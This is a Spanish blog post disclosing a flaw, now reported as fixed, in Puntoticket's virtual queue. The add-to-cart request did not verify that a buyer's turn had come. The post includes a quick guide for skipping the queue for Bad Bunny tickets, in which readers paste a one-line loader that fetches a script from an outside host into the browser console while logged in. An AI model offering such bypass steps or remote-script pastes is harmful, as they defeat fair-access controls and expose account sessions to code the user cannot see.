JC Olivares - Blog

Mala Queue: Vulnerabilidades de la fila virtual de Puntoticket

Created:
Last modified: 25 May 2022 see history
chilespanishsecurity

Aviso 1

UPDATE (mayo, 2022): POR FAVOR, NO ME ESCRIBAS POR DM. ESTE ERROR DE SEGURIDAD YA FUE SOLUCIONADO POR PUNTO TICKET.

Aviso 2

Intenté contactar a Puntoticket hace algunos días, pero no recibí ninguna respuesta. La información contenida en este post tiene solo fines educativos y ha sido recolectada utilizando información de público acceso.

El código fuente se puede encontrar aquí y es provisto sin ningún tipo de garantía bajo los términos de la licencia MIT. Usa bajo tu propio riesgo.

Por el momento, el código filtra las localidades que no tienen asientos numerados. La compra de asientos numerados requiere más investigación.

Actualizaciones

10:36am

El paso de agregar tickets al carro ya no funciona. Probablemente fue bloqueado para el evento.

11:00am

El error cambió a "Su lugar en la fila ya no es válido! Por favor refresque la página!". Parece haberse agregado una nueva validación.

Guía rápida

Si no tienes tiempo para leer el post completo, estos son los pasos a seguir para poder saltarse la fila virtual de Puntoticket y comprar entradas para el segundo concierto de Bad Bunny en Chile, probado en Google Chrome 98

Video

Pasos

  1. Copia el siguiente código en el portapapeles
(function(d){const s=d.createElement("script");s.src="//juancri.com/malaqueue/run.min.js";d.head.appendChild(s)})(document)
  1. Ingresa a puntoticket.com con tu RUT y contraseña
  2. En la pestaña donde tengas abierto Puntoticket, presiona la techa F12 o haz click derecho y selecciona la opción "Inspect" o "Inspeccionar elemento"
  3. Selecciona la pestaña "Console" o "Consola"
  4. Pega el código en la ventana
  5. Sigue las instrucciones en pantalla

Introducción

En el mundo físico, es relativamente sencillo manejar la demanda cuando la oferta es limitada. Algunos sistemas que se han utilizado históricamente son filas, números, horarios especiales o sorteos.

Las ventas por Internet no están ajenas a estos peaks de demanda. Eventos como el "Ciber Lunes" ponen a prueba los sistemas de los e-commerce que deben manejar una avalancha de tráfico que no están acostumbrados a recibir.

Tecnologías como "la nube" permiten a los vendedores acceder a capacidad elástica por la cual pueden pagar durante sólo días u horas. Incluso la pandemia de COVID-19 ha sido desafiante para entidades como el ministerio de salud que tuvo que contratar servicios en la nube para poder manejar la demanda de acceso al sistema de trazabilidad epidemiológica "epivigila".

Puntoticket es uno de los sistemas de venta de entradas más populares en Chile. Hace más de 10 años, Puntoticket vio cómo su sistema colapsaba ante la avalancha de hinchas de la Universidad de Chile que intentaban conseguir tickets para partidos como la final de la Copa Sudamericana o el campeonato nacional.

Implementación de fila virtual

Para poder manejar estos peaks de demanda, las ticketeras -incluída Puntoticket- implementaros sistemas de colas. En el caso de Puntoticket, la implementación de su fila virtual utiliza Queue-it.

En vez de ingresar directamente a la página del evento, los compradores son desviados a una sala de espera que se habilita algunos minutos antes del inicio de la venta de tickets. Al comenzar la venta, a cada persona que está en la sala de espera se le asigna un número aleatorio. El sistema, luego, dejará ingresar a los compradores ordenados por ese número asignado y les permitirá comprar sus tickets durante algunos minutos.

Además de esta restricción, el sistema permite a cada usuario comprar un máximo de dos entradas.

Bad Bunny

El pasado viernes 18 de febrero, se pusieron a la venta las entradas para un concierto de Bad Bunny en el Estadio Nacional. Debido a la alta demanda, se utilizó el sistema de fila virtual. Las entrada se agotaron en menos de dos horas.

Durante este proceso de venta, realicé un análsis de seguridad del sistema de colas. Obviamente, se me asignó un número altísimo (superior a 500.000), así es que analicé el flujo de datos utilizando otros eventos que no tenían el sistema de fila virtual activado e intenté modificarlo para comprar entradas para el concierto de Bad Bunny.

Análisis del proceso de compra

Analicé el flujo de requerimientos al realizar una compra en Puntoticket.

Cabe destacar que sólo analicé la compra de tickets no numerados. Al parecer, la compra de tickets numerados tiene un flujo un poco más largo que incluye obtener la disponibilidad del sector y especificar los asientos seleccionados.

Términos y estructura de datos

De los requests, se pueden desprender los siguientes términos y estructuras:

Requests

Cuando se intenta comprar entradas para un evento, el navegador realiza dos requests importantes para el fujo.

Pre-requisitos

Para poder ejecutar estos requests, el usuario debe estar previamente autenticado en el sitio puntoticket.com.

TraerTipoTicketsSectores

Si revisamos el tráfico, veremos que el primero es para consultar la disponibilidad de entradas por cada sector (o tipo ticket ID):

Este es un ejemplo de la salida como una tabla:

TipoTicketID TipoTicket Precio PrecioNumerico Disponible
1 LA PLAYA $ 287.500 0 0
2 DAKITI $ 172.500 0 0
3 YONAGUNI $ 115.000 0 0
4 PACIFICO MEDIO $ 97.750 0 0
5 AMORFODA $ 92.000 0 0
6 PACIFICO ALTO $ 80.500 0 0
7 PACIFICO BAJO $ 69.000 0 0
8 ANDES $ 63.250 0 0
9 PACIFICO LATERAL $ 51.750 0 0
10 CANCHA SAFAERA $ 51.750 0 0
11 GALERIA $ 46.000 0 0
12 SILLA DE RUEDAS $ 46.000 0 0
13 ACOMP. SILLA DE RUEDAS $ 46.000 0 0

Podemos ver en este caso que no hay disponibilidad de ninguna ubicación. Aquí puedes ver un ejemplo de la salida completa en formato JSON obtenida unos minutos antes de que se agotaran las entradas. En ese ejemplo, hay disponibilidad de entradas en galería:

{
  "TipoTicketID": 11,
  "TipoTicket": "GALERIA",
  "Precio": "$ 46.000",
  "PrecioNumerico": 0,
  "Disponible": 1
}

AgregarMultipleTickets

Este segundo request se encarga de agregar los asientos al carro de compras:

Fin del proceso de compra

Una vez agregados los tickets al carro de compras, el usuario puede completar el proceso de pago ingresando a la URI https://www.puntoticket.com/Compra/Pago.

Diagrama

Este es un diagrama simplificado de los pasos comunes mínimos para completar la compra:

diagrama

Los procesos de autenticación y pago se realizan en la web normalmente. Los requests a TraerTipoTicketsSectores y AgregarMultipleTickets se pueden realizar utilizando fetch o XHR (lo que antiguamente se conocía como AJAX).

La llamada a TraerTipoTicketsSectores no es estrictamente necesaria si ya sabemos los códigos de los sectores y la disponibilidad.

Vulnerabilidades

La vulnerabilidad principal de la implementación de Puntoticket es que el request para agregar asientos al carro de compras no realiza ninguna verificación sobre el origen del request para verificar que, en caso de ser necesario, el usuario ha realizado la fila y ya es su turno.

Probablemente, esta verificación existe, pero en un solo lugar que es la página de entrada al evento. Podría ser un caso de seguridad por oscuridad donde se confía que nadie va a investigar cómo funciona el sistema y por lo tanto, no se le agrega seguridad.

Existen varias formas de agregar esta verificación, aunque últimamente dependerá de la API que provea Queue-it.

Explotación de la vulnerabilidad

Al exitir esta vulnerabilidad, es posible utilizar cURL, HTTPie o cualquier cliente HTTP, inclído fetch en el navegador, que permita crear el request HTTP para llamar al endpoint AgregarMultipleTickets con los parámetros adecuados. Una vez realizado este paso, un usuario podría digirse directamente al proceso de pago.

El código completo está disponible en el repostorio juancri/mala-queue.